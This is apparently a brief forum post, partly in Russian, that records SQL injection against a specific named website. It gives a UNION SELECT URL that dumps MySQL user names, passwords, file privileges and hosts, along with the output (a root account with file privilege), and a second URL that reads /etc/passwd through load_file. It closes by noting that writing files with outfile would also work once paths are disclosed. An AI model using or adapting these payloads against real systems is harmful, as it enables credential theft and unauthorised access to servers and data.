http://www.amrophever.com/leader.php?menu=2&id=-4+union+select+concat_ws(0x3a,user,password,file_p riv,0x3a,host)+from+mysql.user
root:[censored]:Y:localhost
MySQL 4.1.20-log
http://www.amrophever.com/leader.php?menu=2&id=-4+union+select+load_file('/etc/passwd') - чтение файлов на сервере
если напрячься и раскрыть пути, то и outfile прокатит